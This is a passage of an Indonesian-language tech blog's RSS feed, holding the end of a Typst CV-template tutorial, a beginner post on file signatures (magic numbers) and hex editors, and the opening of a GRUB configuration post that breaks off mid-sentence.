usage&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;How to use template&lt;a href=&quot;#how-to-use-template&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Daftar &lt;em&gt;package&lt;/em&gt; yang tersedia dapat dilihat di:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://typst.app/universe/search/?kind=templates&quot; target=&quot;_blank&quot;&gt;https://typst.app/universe/search/?kind=templates&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Seperti juga &lt;em&gt;package&lt;/em&gt;, ada banyak &lt;em&gt;template&lt;/em&gt; yang dapat kita gunakan. Kita tidak perlu menggunakan atau meng-&lt;em&gt;import&lt;/em&gt; semua &lt;em&gt;template&lt;/em&gt;. Gunakanlah &lt;em&gt;template&lt;/em&gt; yang relevan dan memang kita perlukan untuk membuuat dokumen yang kita ingin buat.&lt;/p&gt;&lt;p&gt;Saya akan mendemonstrasikan cara menggunakan salah satu &lt;em&gt;template&lt;/em&gt;, dan &lt;em&gt;template&lt;/em&gt; pilihan saya jatuh kepada &lt;a href=&quot;https://typst.app/universe/package/brilliant-cv&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;brillian-cv&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://typst.app/universe/package/brilliant-cv&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://typst.app/universe/package/brilliant-cv&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Brillian CV - Typst template.brilliancv&quot; loading=&quot;lazy&quot; width=&quot;1357&quot; height=&quot;1920&quot; src=&quot;/_astro/brilliant-cv.DuFfFQcy_1BNEBu.webp&quot; /&gt;&lt;figcaption&gt;Brillian CV - Typst template.brilliancv&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Cara menggunakannya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Inisialisasi dan unduh templatenya.&lt;/li&gt;
&lt;li&gt;Edit file &lt;strong&gt;metadata.toml&lt;/strong&gt; untuk men-&lt;em&gt;setting&lt;/em&gt; &lt;em&gt;persoal detail&lt;/em&gt; kita.&lt;/li&gt;
&lt;li&gt;Compile file &lt;code&gt;.typ&lt;/code&gt; ke &lt;code&gt;.pdf&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;importing brilliant cv, success!&quot; loading=&quot;lazy&quot; width=&quot;1257&quot; height=&quot;676&quot; src=&quot;/_astro/ss10.D645UOYi_1bPCys.webp&quot; /&gt;&lt;figcaption&gt;importing brilliant cv, success!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Beberapa template mungkin saja menggunakan &lt;em&gt;font&lt;/em&gt; yang tidak ter-&lt;em&gt;install&lt;/em&gt; di komputer kita. Oleh karena itu, kita perlu mengunduhnya terlebih dahulu agar tampila &lt;em&gt;font&lt;/em&gt;-nya tampak lebih sesuai.&lt;/li&gt;
&lt;li&gt;Untuk &lt;em&gt;template&lt;/em&gt; &lt;code&gt;brilliant-cv&lt;/code&gt; ini, file konfigurasi utamanya adalah &lt;strong&gt;metadata.toml&lt;/strong&gt;, sebab, di sanalah kita menuliskan konten cv tersebut. Akan tetapi, beberapa pengaturan juga perlu dilakukan di file yang lain, seperti &lt;code&gt;cv.typ&lt;/code&gt;. Contohnya, kita perlu meng-&lt;em&gt;edit&lt;/em&gt; file &lt;code&gt;cv.typ&lt;/code&gt; untuk mengganti foto profil.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Demikian tutorial singkat mengenai typst kali ini!&lt;br /&gt;
Semoga bermanfaat!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://typst.app/&quot; target=&quot;_blank&quot;&gt;https://typst.app/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://glints.com/id/lowongan/typesetting-adalah/&quot; target=&quot;_blank&quot;&gt;https://glints.com/id/lowongan/typesetting-adalah/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@hrishikesh.salway19/markup-languages-1b510aa3b6e&quot; target=&quot;_blank&quot;&gt;https://medium.com/@hrishikesh.salway19/markup-languages-1b510aa3b6e&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.semrush.com/blog/markup-language/&quot; target=&quot;_blank&quot;&gt;https://www.semrush.com/blog/markup-language/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://id.wikipedia.org/wiki/LaTeX&quot; target=&quot;_blank&quot;&gt;https://id.wikipedia.org/wiki/LaTeX&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.underleaf.ai/blog/typst-vs-latex&quot; target=&quot;_blank&quot;&gt;https://www.underleaf.ai/blog/typst-vs-latex&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://typst.app/docs/guides/for-latex-users/&quot; target=&quot;_blank&quot;&gt;https://typst.app/docs/guides/for-latex-users/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com../images/typst/packages/blob/main/README.md&quot; target=&quot;_blank&quot;&gt;https://github.com../images/typst/packages/blob/main/README.md&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>File Signature: How Computer Identifies File Types</title><link>https://shangdi.github.io/posts/tech/filesig/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/filesig/</guid><description>File signature is one of the most common concepts when it comes to identifying types of files in your opeating system.</description><pubDate>Mon, 30 Mar 2026 10:48:54 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Pre-Introduction&lt;a href=&quot;#pre-introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pernahkah kalian bertanya-tanya, bagaimana sistem operasi komputer kalian mengidentifikasi jenis sebuah file? Bagaimana komputer kita tahu ini adalah file pdf, png, mp3, txt, atau yang lainnya? Apakah komputer mengenali jenis file hanya dari ekstensinya saja?&lt;/p&gt;&lt;p&gt;Nah, di artikel ini, saya akan coba bahas sedikit tentang &lt;em&gt;file signature&lt;/em&gt; dengan bahasa yang (semoga) mudah dipahami oleh orang awam.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;File Signature: Intro&lt;a href=&quot;#file-signature-intro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Oke, sekarang, kita akan bahas sedikit tentang &lt;em&gt;file signature&lt;/em&gt; lebih dalam tentang file signature, mulai dari “definisi &lt;em&gt;file signature&lt;/em&gt;” hingga “manipulasi &lt;em&gt;file signature”&lt;/em&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;What is file signature?&lt;a href=&quot;#what-is-file-signature&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;em&gt;File signature&lt;/em&gt; atau yang umum juga dikenal sebagai &lt;strong&gt;magic number&lt;/strong&gt; atau &lt;em&gt;&lt;strong&gt;file header&lt;/strong&gt;&lt;/em&gt;, adalah sederet urutan byte tertentu dalam sebuah file yang ditujukan untuk memungkinkan program untuk mengenali jenis file tersebut tanpa harus bergantung pada ekstensinya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Jadi, dengan adanya &lt;em&gt;file signature&lt;/em&gt;, program/software dapat tetap mengenali jenis suatu file, meskipun ekstensinya diubah atau dihapus.&lt;/p&gt;&lt;p&gt;Sebagai contoh, saya akan membuka sebuah file pdf dengan 3 skenario:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;file pdf yang &lt;strong&gt;ber-ekstensi&lt;/strong&gt; “.pdf”.&lt;/li&gt;
&lt;li&gt;file pdf yang &lt;strong&gt;tidak ber-ekstensi&lt;/strong&gt; “.pdf”.&lt;/li&gt;
&lt;li&gt;file pdf yang &lt;strong&gt;ber-ekstensi lain&lt;/strong&gt; (“.mp3”).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah contoh ketika saya membuka file pdf yang ber-ekstensi pdf dengan &lt;em&gt;tool&lt;/em&gt; &lt;a href=&quot;https://github.com/mate-desktop/atril&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;atril&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pdf with pdf extension&quot; loading=&quot;lazy&quot; width=&quot;1342&quot; height=&quot;654&quot; src=&quot;/_astro/ss1.CcfSCd1c_Z7U45a.webp&quot; /&gt;&lt;figcaption&gt;pdf with pdf extension&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Terlihat, file pdf dapat terbuka dengan baik.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh ketika saya membuka file pdf yang tidak ber-ekstensi pdf dengan &lt;em&gt;tool&lt;/em&gt; yang sama, yaitu &lt;a href=&quot;https://github.com/mate-desktop/atril&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;atril&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pdf without pdf extension&quot; loading=&quot;lazy&quot; width=&quot;1342&quot; height=&quot;657&quot; src=&quot;/_astro/ss2.BPjVtWAu_23BRSr.webp&quot; /&gt;&lt;figcaption&gt;pdf without pdf extension&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Terlihat, file pdf juga dapat terbuka dengan baik.&lt;/p&gt;&lt;p&gt;Berikutnya, ini adalah contoh ketika saya membuka file pdf yang sudah saya ganti ekstensinya menjadi ekstensi file musik (“.mp3”). Saya membukanya dengan &lt;em&gt;tool&lt;/em&gt; yang sama, yaitu &lt;a href=&quot;https://github.com/mate-desktop/atril&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;atril&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pdf with mp3 extension&quot; loading=&quot;lazy&quot; width=&quot;1249&quot; height=&quot;660&quot; src=&quot;/_astro/ss3.BvqTkfGD_ZGlSGS.webp&quot; /&gt;&lt;figcaption&gt;pdf with mp3 extension&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Terlihat, file pdf masih dapat terbuka dengan baik.&lt;/p&gt;&lt;p&gt;Dengan bukti tersebut, pahamlah kita bahwa meskipun tidak memiliki ekstensi sama sekali atau jika file ekstensinya sudah berubah, melalui &lt;em&gt;file signature&lt;/em&gt;, sebuah program komputer (dalam contoh ini adalah &lt;a href=&quot;https://github.com/mate-desktop/atril&quot; target=&quot;_blank&quot;&gt;atril&lt;/a&gt;) tetap dapat mengenali jenis file tersebut dan membukanya.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;p&gt;Lalu, bagaimana dengan sistem operasi Windows?&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Nah, sayang sekali, sampai hari ini, sepertinya memang Windows masih “ingin berbeda” dari Linux sehingga Windows sangat bergantung pada ekstensi sebuah file untuk mengenali jenis filenya. Artinya, kalau ekstensinya sudah berubah atau hilang, maka Windows akan membaca jenis file tersebut sesuai ekstensinya atau tidak bisa membacanya sama sekali (jika tidak ada ekstensi).&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;What is benefits of file signature?&lt;a href=&quot;#what-is-benefits-of-file-signature&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah beberapa manfaat dari &lt;em&gt;file signature&lt;/em&gt;:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mengidentifikasi jenis file.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Meskipun ekstensi file adalah cara yang paling populer digunakan untuk mengidentifikasi jenis file, tapi, &lt;em&gt;file signature&lt;/em&gt; dapat melakukannya dengan lebih akurat.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Memverifikasi integritas file.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Integritas file, sebagai salah satu komponen dalam konsep CIA (&lt;em&gt;Confidentiality, Integrity, Availability&lt;/em&gt;) di Cyber Security, berperan penting untuk memastikan file tersebut utuh sebagaimana mestinya dan tidak diubah oleh hacker.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mencegah malware.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Para hacker jahat sering menyamarkan file yang mengandung virus. Dengan adanya &lt;em&gt;file signature&lt;/em&gt;, antivirus dapat mendeteksinya dan mencegah file tersebut untuk dieksekusi.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Meningkatkan efisiensi.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sistem operasi dapat menganalisis &lt;em&gt;file signature&lt;/em&gt; dan membantu memilihkan &lt;em&gt;software&lt;/em&gt; yang sesuai untuk membuka file tersebut.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Memastikan kompatibilitas.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;em&gt;File signature&lt;/em&gt; juga berfungsi untuk membantu software dalam menentukan apakah suatu file cocok atau sesuai dengan perangkat, sistem operasi, atau arsitektur tertentu.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;File Signature: Advanced&lt;a href=&quot;#file-signature-advanced&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Di bagian “Advanced” ini, kita akan belajar hal-hal teknis, seperti cara melihat atau mengetahui &lt;em&gt;file signature&lt;/em&gt; dan memanipulasinya (mengganti/menghapus).&lt;/p&gt;&lt;section&gt;&lt;h3&gt;How to find file signature?&lt;a href=&quot;#how-to-find-file-signature&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Linux only.&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Ada banyak cara untuk mengetahui &lt;em&gt;file signature&lt;/em&gt; sebuah file.&lt;/p&gt;&lt;p&gt;Tapi, perlu diketahui terlebih dahulu, &lt;em&gt;file signature&lt;/em&gt; adalah bit yang umumnya terletak di bagian awal sebuah file. Ukurannya berkisar antara 2-4 bit. Jadi, misalnya, sebuah file dengan tipe pdf memiliki &lt;em&gt;file signature&lt;/em&gt;: 25 50 44 46 2D.&lt;/p&gt;&lt;p&gt;Sebetulnya, cara yang paling umum untuk melihat &lt;em&gt;file signature&lt;/em&gt; adalah dengan membuka file terkait dengan program hex editor. Beberapa tools yang dapat digunakan untuk melihat &lt;em&gt;file signature&lt;/em&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/hexedit/&quot; target=&quot;_blank&quot;&gt;hexedit&lt;/a&gt; (CLI-based).&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hexedit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/hexyl/&quot; target=&quot;_blank&quot;&gt;hexyl&lt;/a&gt; (CLI-based).&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;hexyl&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/dhex/&quot; target=&quot;_blank&quot;&gt;dhex&lt;/a&gt; (CLI-based).&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dhex&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://aur.archlinux.org/packages/bless&quot; target=&quot;_blank&quot;&gt;bless&lt;/a&gt; (GUI-based).&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yay&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;bless&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/x86_64/okteta/&quot; target=&quot;_blank&quot;&gt;okteta&lt;/a&gt; (GUI-based).&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;okteta&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Daftar &lt;em&gt;file signature&lt;/em&gt;: &lt;a href=&quot;https://filesignature.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;FileSignature.org&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;How to manipulate file signature?&lt;a href=&quot;#how-to-manipulate-file-signature&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kalau kita sudah dapat membuka sebuah file dengan program hex editor, seperti yang sudah saya sertakan di atas, artinya kita sudah bisa mengubah &lt;em&gt;file signature&lt;/em&gt; file tersebut. Tapi, harus disadari juga bahwa mengubah &lt;em&gt;file signature&lt;/em&gt; sama dengan membuat komputer atau sistem operasi bisa salah baca jenis file.&lt;/p&gt;&lt;p&gt;Sebagai ilustrasi, sebuah file pdf dengan &lt;em&gt;file signature&lt;/em&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;25 50 44 46 2D&lt;/code&gt;&lt;/p&gt;&lt;p&gt;kemudian diubah sedikit menjadi:&lt;/p&gt;&lt;p&gt;&lt;code&gt;21 50 44 46 2D&lt;/code&gt;&lt;/p&gt;&lt;p&gt;akan tidak bisa dibaca lagi sebagai file pdf.&lt;/p&gt;&lt;p&gt;Kita akan lihat buktinya langsung melalui contoh berikut:&lt;/p&gt;&lt;p&gt;Berikut ini adalah file pdf dengan &lt;em&gt;file signature&lt;/em&gt; yang masih normal:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pdf with correct file signature&quot; loading=&quot;lazy&quot; width=&quot;1222&quot; height=&quot;613&quot; src=&quot;/_astro/ss4.DTkHmq09_1tGU89.webp&quot; /&gt;&lt;figcaption&gt;pdf with correct file signature&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut ini adalah file pdf yang sama, tapi sudah saya ganti &lt;em&gt;file signature&lt;/em&gt;-nya:
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pdf with incorrect file signature&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;625&quot; src=&quot;/_astro/ss5.DtmiknFN_Z19Rp3m.webp&quot; /&gt;&lt;figcaption&gt;pdf with incorrect file signature&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sekian.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nordvpn.com/cybersecurity/glossary/file-signature/&quot; target=&quot;_blank&quot;&gt;https://nordvpn.com/cybersecurity/glossary/file-signature/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>GRUB: Theme, Timeout, OS-Prober, etc</title><link>https://shangdi.github.io/posts/tech/grub/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/grub/</guid><description>A brief note regarding grub configuration.</description><pubDate>Thu, 19 Mar 2026 10:20:34 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;What are you, GRUB?&lt;a href=&quot;#what-are-you-grub&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;GRUB (&lt;em&gt;Grand Unified Bootloader&lt;/em&gt;)&lt;/strong&gt; pada dasarnya adalah sebuah bootloader.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;em&gt;Bootloader&lt;/em&gt; adalah sebuah program atau &lt;em&gt;software&lt;/em&gt; kecil yang akan dijalankan ketika komputer kita dihidupkan. Program tersebut bertanggung jawab untuk memulai &lt;a href=&quot;https://wiki.archlinux.org/title/Kernel&quot; target=&quot;_blank&quot;&gt;kernel&lt;/a&gt; dari sistem operasi kita. Sederhananya, GRUB adalah program pertama yang muncul untuk menampilkan daftar sistem operasi yang dapat kita pilih.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Oleh karena itu, GRUB sangat penting, sebab, tanpa GRUB, kita tidak bisa me-&lt;em&gt;load&lt;/em&gt; sistem operasi.&lt;/p&gt;&lt;p&gt;Saat artikel ini dibuat, GRUB yang terpasang di &lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;ArchLinux&lt;/a&gt; saya adalah GRUB versi 2. Ini adalah versi terbaru GRUB. Untuk mengecek versi GRUB di sistem operasi linux kita, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;grub-install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Sebagai gambaran, berikut adalah default GRUB archlinux:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;GRUB Archlinux&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;480&quot; src=&quot;/_astro/ss1.Dzo-gpT7_Zmffjd.webp&quot; /&gt;&lt;figcaption&gt;GRUB Archlinux&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;
